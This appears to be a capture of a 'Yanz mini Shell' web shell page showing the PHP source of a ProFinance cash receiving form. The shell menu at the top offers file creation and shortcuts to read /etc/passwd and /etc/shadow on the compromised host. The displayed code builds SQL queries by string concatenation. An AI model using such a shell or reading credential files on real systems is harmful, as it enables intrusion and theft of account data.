Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php 
$path="admin/orna/";
require_once('admin/orna/db.php');
config($accounts='acc_sub:'.rec.'|acc_mast:'.cih.'|acc_sub:'.bnk_sb,$form='acc_launch.php?active=rec');
$admin_sql="select * from `".$MySQL_database."`.users where (type='admin' or type='manager') and name='".$_SESSION['myusername']."' and status='n'";
$admin=mysqli_num_rows(mysqli_query($connection,$admin_sql));

?>
<!DOCTYPE html>
<html lang="en">

<title>Receiving : ProFinance</title>
    <script src="assets/js/now.js"></script>
    
    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/orna.css" rel="stylesheet">
    
    <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" />
    <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" />
    
    <link href="assets/css/select/select2.min.css" rel="stylesheet">
    
    <link href="assets/css/style.css" rel="stylesheet">
    <link href="assets/css/style-responsive.css" rel="stylesheet">
   
    
    
</head>

<body>

<?php require_once('inc-core/side-bar.inc');?>

<section id="main-content">

<section class="wrapper site-min-height">
                <div class="loading"></div>
                <table class="table table-striped table-advance table-hover">
                    <thead>
                        <tr>
                            <th class="col-md-12">
                                <a href="#">
                                    <button class="btn btn-success btn-xs" id="rec_sv"><i class="fa fa-save"></i> Save</button>
                                    <button class="btn btn-default btn-xs" id="rec_pnt"><i class="fa fa-print"></i> Print</button>
                                    <?php
                            if($admin>=1){
                                print"<button class=\"btn btn-theme btn-xs\" id=\"adjustment_receipt\"><i class=\"fa fa-unlock\"></i> Adjustment </button>";
                            }
                        ?>
                                </a>
                            </th>
                        </tr>
                    </thead>
                </table>

<div id="form-wrapper" style="border-bottom:none !important;">
                    
                        <div class="row">
                            <div class="col-sm-12">
                                <div class="col-sm-6 center">
                                    <h4 id="title">Cash Receiving Form</h4>
                                </div>
                                <div class="col-sm-6 left">
                                    Payers Details:
                                    <div id="payer_detail" style="width:100%;background-color:white;border:1px solid silver;padding:10px;height:115px;overflow:scroll;overflow-y: scroll;overflow-x: hidden;"></div>
                                </div>
                            </div>
                            <form class="form-inline" id="form_rec" role="form" action="admin/ajax/php/sv.php?t_name1=rec&count=1&row=single&file=false&flimit=0&log=y" method="POST">
                            <div class="col-sm-2">
                                Date:
                                <input type="date" name="rdate" id="rdate" value="<?php echo date('Y-m-d'); ?>" class="form-control focus" required />
                            </div>
                            <div class="col-sm-2">
                                Receiving Type:
                                <select name="rtype" class="form-control typ" required>
                                    <option value="cash" id="<?php echo cih;?>" data='cr'>Cash</option>
                                    <option value="bank" id="<?php echo bnk_sb;?>" data='br'>Bank</option>
                                </select>
                                <input type="hidden" value="cr" name="vtype" id="vtype">
                                <input type="hidden" value="<?php echo date('m/d/Y');?>" name="vdate" id="vdate">
                                <input type="hidden" value="<?php echo date('m/d/Y');?>" name="sys_dt" id="sys_dt">
                                <input type="hidden" value="" name="descp" id="descp">
                                <input type="hidden" name="del" value="N">
                            </div>
                            <div class="col-sm-2">
                                Against:
                                <select name="rec_aga" class="form-control" id="against" required>
                                    <option value="sale">Sales</option>
                                    <option value="acc_rec">Account Receivables</option>
                                </select>
                            </div>

<div class="col-sm-6" id="inv_cont">
                                Select Invoice:
                                <select name="sl_m_id" class="form-control select1_single" id="inv" required>
                                    <option selected="selected" value="000000">Select Invoice</option>
                                    <?php
                                $sql1="select 
                                    sm.mast_id,
                                    sm.cs_id,
                                    sm.status,
                                    sm.total,
                                    sm.oth_char,
                                    sm.gst_amt,
                                    sm.tot_dis,
                                    sm.user,
                                    sm.dt,
                                    sm.inv_dt,
                                    sm.`others` as `unitnumber`,
                                    cs.nm,
                                    cs.suffix,
                                    cs.acc_nm,
                                    p.`nm` as `prod`,
                                    st.prod_id
                                        from 
                                        `".$MySQL_database."`.prod p,
                                        `".$MySQL_database."`.store_out_m sm,
                                        `".$MySQL_database."`.store_out_t st,
                                        `".$MySQL_database."`.cust_sup cs
                                                where
                                                sm.transaction_status='active' and
                                                sm.rec='N' and 
                                                sm.del='N' and
                                                sm.mast_id=st.mast_id and
                                                st.prod_id=p.id and 
                                                cs.id=sm.cs_id
                                                    order by cs.nm";
                                $query1=mysqli_query($connection,$sql1);
                                while($inv=mysqli_fetch_assoc($query1)){

$sqlrec="select sum(amt) as amt from `".$MySQL_database."`.rec where sl_m_id = '".$inv['mast_id']."' and del='n'";
                                    $rec=mysqli_fetch_assoc(mysqli_query($connection,$sqlrec));
                                    $recamt=$rec['amt'];
                                    $suffix="";
                                    if($inv['suffix']!=""){
                                      $suffix=" - ".$inv['suffix'];
                                    }
                                print"<option value=\""; echo $inv['mast_id']; print"\" data=\""; echo $inv['acc_nm']; print"\"  data-customer='".$inv['nm']."' data-unit='".$inv['unitnumber']."'>"; echo strtoupper($inv['nm']).$suffix.' - '.$inv['inv_dt'].' - '.$inv['mast_id'].'------------------'.number_format((($inv['total']+$inv['oth_char'])-$inv['tot_dis'])-$recamt).'/-';  print"</option>";}?>

</select>
                                        </div>

<div class="col-sm-6" style="display:none;" id="acc_cont">
                                            Select Account:
                                            <select name="acc_nm" class="form-control" id="acc" required>
                                                <option selected="selected">Select Account</option>
                                                <?php
                                $sql_groups = "select * from `".$MySQL_database."`.acc_sub where acc_nm_s in".rec." order by title ASC";
                                $query_group=mysqli_query($connection,$sql_groups);
                                    while($group=mysqli_fetch_assoc($query_group)){
                                        print "<optgroup label=\"".$group['title']."\">";
                                            $sql3="select * from `".$MySQL_database."`.acc_mast where acc_nm_s ='".$group['acc_nm_s']."' order by title ASC";
                                            $query3=mysqli_query($connection,$sql3);
                                            while($acc=mysqli_fetch_assoc($query3)){
                                                print"<option value=\"";  echo $acc['acc_nm'];  print"\">";  echo $acc['title'];  print"</option>";
                                            }   
                                    }    print "</optgroup>";
                                ?>
                                </select>
                            </div>
                            <div class="clearfix"></div>

<div class="col-sm-12" id="payer">
                                Payer:
                                <input type="text" class="form-control" placeholder="Payer Name / Description" name="pyee" id="pyee" required>
                            </div>

<div id="bank" style="display:none;">
                                <div class="col-sm-4">
                                    Payer's Bank Name:
                                    <input type="text" class="form-control" placeholder="Bank Name / Description" name="bank_nm" required>
                                </div>
                                <div class="col-sm-2">
                                    Cheque No:
                                    <input type="text" class="form-control" pattern="[0-9]{10}" placeholder="Cheque No" name="chq_no" id="chq_no" required>
                                </div>
                                <div class="col-sm-2">
                                    Cheque Date:
                                    <input type="date" name="chq_dt" id="chq_dt" value="<?php echo date('Y-m-d'); ?>" class="form-control" required />
                                </div>
                            </div>
                            <div class="clearfix"></div>

<div class="col-sm-6">
                                Amount Debited to Account:
                                <select name="debit_acc_nm" class="form-control adjustment_select" id="cash_acc" readonly>
                                    <option value="<?php echo cih;?>" selected>Cash In-hand </option>
                                </select>
                            </div>
                            <div class="col-sm-3">
                                Receive Amount:
                                <input type="text" class="form-control" id="rec_amt" pattern="[0-9]{10}" placeholder="Receive Amount" name="amt" required>
                            </div>
                            <div class="col-sm-3">
                                Balance Amount:
                                <input type="text" class="form-control" id="bal" placeholder="Balance Amount" name="bal" readonly>
                                <input type="hidden" id="bal_amt" readonly>
                               
                            </div>
                        </div>
                        <div class="clearfix"></div>
                        <div class="col-md-6 col-md-offset-3 payment_plan" style="margin-top:2em; background-color:white;"></div>
                    </form>
                </div>
                
            </section>
            
        </section>

<footer class="site-footer">
            <div class="text-center">
                2014 - ProFinance
                <a href="#" class="go-top">
                    <i class="fa fa-angle-up"></i>
                </a>
            </div>
        </footer>
        
    </section>

<script src="assets/js/jquery.js"></script>
    <script src="assets/js/bootstrap.min.js"></script>
    <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script>
    <script src="assets/js/jquery.ui.touch-punch.min.js"></script>
    <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script>
    <script src="assets/js/jquery.scrollTo.min.js"></script>
    <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script>
    
    <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script>
    <script src="admin/ajax/js/rec.js" type="text/javascript"></script>
    
    <script src="assets/js/select/select2.full.js"></script>
    
    
    <script src="assets/js/common-scripts.js"></script>
    
    <script>
        $(document).ready(function() {
            $(".select1_single").select2({
                placeholder: "SELECT ACCOUNT",
                allowClear: true
            });
        });

</script>
    
</body>

</html>